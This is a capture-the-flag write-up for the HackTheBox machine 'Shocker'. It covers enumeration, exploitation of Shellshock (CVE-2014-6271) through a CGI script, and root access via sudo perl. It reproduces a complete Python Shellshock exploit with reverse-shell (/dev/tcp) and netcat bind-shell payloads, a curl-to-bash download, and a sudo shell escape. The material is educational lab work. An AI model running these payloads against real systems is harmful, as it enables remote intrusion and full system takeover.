xsspresso
xsspresso
WriteupsHTB — Shocker
WebEasyLinux

HTB — Shocker

Shellshock (CVE-2014-6271) via a CGI endpoint found with gobuster. Sudo perl for a trivial privilege escalation.

March 23, 2022HackTheBox
#Shellshock#CGI#Sudo#CVE-2014-6271

Enumeration

sh
nmap -sC -sV -O -Pn -vv 10.10.10.56 -oA shocker # Using -Pn because it is blocking ping probes
sh
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 22:32 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 22:32
Completed Parallel DNS resolution of 1 host. at 22:32, 0.01s elapsed
Initiating SYN Stealth Scan at 22:32
Scanning 10.10.10.56 [1000 ports]
Discovered open port 80/tcp on 10.10.10.56
Discovered open port 2222/tcp on 10.10.10.56
Completed SYN Stealth Scan at 22:32, 0.36s elapsed (1000 total ports)
Initiating Service scan at 22:32
Scanning 2 services on 10.10.10.56
Completed Service scan at 22:32, 6.04s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.56
Retrying OS detection (try #2) against 10.10.10.56
Retrying OS detection (try #3) against 10.10.10.56
Retrying OS detection (try #4) against 10.10.10.56
Retrying OS detection (try #5) against 10.10.10.56
NSE: Script scanning 10.10.10.56.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.75s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.08s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
Nmap scan report for 10.10.10.56
Host is up, received user-set (0.017s latency).
Scanned at 2022-02-06 22:32:08 EST for 18s
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
|   256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=2/6%OT=80%CT=1%CU=33894%PV=Y%DS=2%DC=I%G=Y%TM=620092CA
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)OPS(
OS:O1=M505ST11NW6%O2=M505ST11NW6%O3=M505NNT11NW6%O4=M505ST11NW6%O5=M505ST11
OS:NW6%O6=M505ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(
OS:R=Y%DF=Y%T=40%W=7210%O=M505NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
 
Uptime guess: 194.940 days (since Tue Jul 27 00:59:10 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:32
Completed NSE at 22:32, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.20 seconds
           Raw packets sent: 1110 (52.890KB) | Rcvd: 1071 (46.310KB)

Directory Enum

sh
dirb http://10.10.10.56
 
-> + http:/as/10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)                          
	 + http://10.10.10.56/index.html (CODE:200|SIZE:137)                        
	 + http://10.10.10.56/server-status (CODE:403|SIZE:299)

search for package in Ubuntu → https://packages.ubuntu.com/

  • Dirb in the Forbidden directory → http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)
  • This time looking for .sh and .pl files
sh
dirb http://10.10.10.56/cgi-bin -X .sh,.pl
sh
http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118)
  • Based on the name of the machine it is a shellshock machine and also because it has cgi-bin with script file
sh
locate nse | grep shellshock
	-> /usr/share/nmap/scripts/http-shellshock.nse
 
less /usr/share/nmap/scripts/http-shellshock.nse
	-> -- @usage
		 -- nmap -sV -p- --script http-shellshock <target>
		 -- nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>
  • Add /user.sh instead of /bin
sh
nmap -sV -p- -vv --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56
sh
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-07 11:34 EST
NSE: Loaded 46 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:34
Completed NSE at 11:34, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:34
Completed NSE at 11:34, 0.00s elapsed
Initiating Ping Scan at 11:34
Scanning 10.10.10.56 [4 ports]
Completed Ping Scan at 11:34, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:34
Completed Parallel DNS resolution of 1 host. at 11:34, 0.01s elapsed
Initiating SYN Stealth Scan at 11:34
Scanning 10.10.10.56 [65535 ports]
Discovered open port 80/tcp on 10.10.10.56
Discovered open port 2222/tcp on 10.10.10.56
Completed SYN Stealth Scan at 11:35, 15.20s elapsed (65535 total ports)
Initiating Service scan at 11:35
Scanning 2 services on 10.10.10.56
Completed Service scan at 11:35, 6.04s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.56.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:35
Completed NSE at 11:35, 0.24s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:35
Completed NSE at 11:35, 0.06s elapsed
Nmap scan report for 10.10.10.56
Host is up, received echo-reply ttl 63 (0.021s latency).
Scanned at 2022-02-07 11:34:57 EST for 22s
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-shellshock: 
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known
|       as Shellshock. It seems the server is executing commands injected
|       via malicious HTTP headers.
|             
|     Disclosure date: 2014-09-24
|     Exploit results:
|       <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|   <html><head>
|   <title>500 Internal Server Error</title>
|   </head><body>
|   <h1>Internal Server Error</h1>
|   <p>The server encountered an internal error or
|   misconfiguration and was unable to complete
|   your request.</p>
|   <p>Please contact the server administrator at 
|    webmaster@localhost to inform them of the time this error occurred,
|    and the actions you performed just before this error.</p>
|   <p>More information about this error may be available
|   in the server error log.</p>
|   <hr>
|   <address>Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80</address>
|   </body></html>
|   
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 11:35
Completed NSE at 11:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 11:35
Completed NSE at 11:35, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds
           Raw packets sent: 65711 (2.891MB) | Rcvd: 65536 (2.621MB)

Exploitation with meterpreter

CVE-2014-6271

sh
msfconsole
 
search CVE-2014-6271
	-> exploit/multi/http/apache_mod_cgi_bash_env_exec
 
use exploit/multi/http/apache_mod_cgi_bash_env_exec # This module corresponds to the CVE-2014-6271
 
set rhosts 10.10.10.56
set targeturi /cgi-bin/user.sh
set lhost 10.10.14.35
run
sh
meterpreter> which python
meterpreter> which python3
 
python3 -c 'import pty; pty.spawn("/bin/bash")' # Spawn a stable shell
 
cd home
cd shelly
cat user.txt
	-> ********************************

Using LinEnum.sh to enumerate the machine. → LinEnum

sh
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
 
python -m SimpleHTTPServer
  • In the compromised machine
sh
curl 10.10.14.35:8000/LinEnum.sh | bash
sh
[+] We can sudo without supplying a password!
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
 
 
[+] Possible sudo pwnage!
/usr/bin/perl
 
-----------------------------------------------
# Also
 
sudo -l
	-> (root) NOPASSWD: /usr/bin/perl

Privilege Escalation

Source:https://gtfobins.github.io/gtfobins/perl/

sh
sudo perl -e 'exec "/bin/sh";'
 
whoami
	-> root
 
python3 -c 'import pty;pty.spawn("/bin/bash")'
 
cd root
cat root.txt
	-> ********************************

Manual Exploitation

Google apache2 cgi-bin exploit

  • https://www.exploit-db.com/exploits/34900
  • Using this python code to exploit shellshock
python
#!/usr/bin/env python
from socket import *
from threading import Thread
import thread, time, httplib, urllib, sys 
 
stop = False
proxyhost = ""
proxyport = 0
 
def usage():
	print """
 
		Shellshock apache mod_cgi remote exploit
 
Usage:
./exploit.py var=<value>
 
Vars:
rhost: victim host
rport: victim port for TCP shell binding
lhost: attacker host for TCP shell reversing
lport: attacker port for TCP shell reversing
pages:  specific cgi vulnerable pages (separated by comma)
proxy: host:port proxy
 
Payloads:
"reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
"bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)
 
Example:
 
./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
./exploit.py payload=bind rhost=1.2.3.4 rport=1234
 
Credits:
 
Federico Galatolo 2014
"""
	sys.exit(0)
 
def exploit(lhost,lport,rhost,rport,payload,pages):
	headers = {"Cookie": payload, "Referer": payload}
	
	for page in pages:
		if stop:
			return
		print "[-] Trying exploit on : "+page
		if proxyhost != "":
			c = httplib.HTTPConnection(proxyhost,proxyport)
			c.request("GET","http://"+rhost+page,headers=headers)
			res = c.getresponse()
		else:
			c = httplib.HTTPConnection(rhost)
			c.request("GET",page,headers=headers)
			res = c.getresponse()
		if res.status == 404:
			print "[*] 404 on : "+page
		time.sleep(1)
		
 
args = {}
	
for arg in sys.argv[1:]:
	ar = arg.split("=")
	args[ar[0]] = ar[1]
try:
	args['payload']
except:
	usage()
	
if args['payload'] == 'reverse':
	try:
		lhost = args['lhost']
		lport = int(args['lport'])
		rhost = args['rhost']
		payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
	except:
		usage()
elif args['payload'] == 'bind':
	try:
		rhost = args['rhost']
		rport = args['rport']
		payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
	except:
		usage()
else:
	print "[*] Unsupported payload"
	usage()
	
try:
	pages = args['pages'].split(",")
except:
	pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]
 
try:
	proxyhost,proxyport = args['proxy'].split(":")
except:
	pass
			
if args['payload'] == 'reverse':
	serversocket = socket(AF_INET, SOCK_STREAM)
	buff = 1024
	addr = (lhost, lport)
	serversocket.bind(addr)
	serversocket.listen(10)
	print "[!] Started reverse shell handler" 
	thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))
if args['payload'] == 'bind':
	serversocket = socket(AF_INET, SOCK_STREAM)
	addr = (rhost,int(rport))
	thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))
	
buff = 1024
	
while True:
	if args['payload'] == 'reverse':
		clientsocket, clientaddr = serversocket.accept()
		print "[!] Successfully exploited"
		print "[!] Incoming connection from "+clientaddr[0]
		stop = True
		clientsocket.settimeout(3)
		while True:
			reply = raw_input(clientaddr[0]+"> ")
			clientsocket.sendall(reply+"\n")
			try:
				data = clientsocket.recv(buff)
				print data
			except:
				pass
		
	if args['payload'] == 'bind':
		try:
			serversocket = socket(AF_INET, SOCK_STREAM)
			time.sleep(1)
			serversocket.connect(addr)
			print "[!] Successfully exploited"
			print "[!] Connected to "+rhost
			stop = True
			serversocket.settimeout(3)
			while True:
				reply = raw_input(rhost+"> ")
				serversocket.sendall(reply+"\n")
				data = serversocket.recv(buff)
				print data
		except:
			pass
sh
# nano [nanme of the file from above]
# add "/cgi-bin/user.sh" to pages section
 
# Run the python script
python exploit.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.35 lport=6666

Skills Learned

  • Exploiting shellshock
  • Exploiting NOPASSWD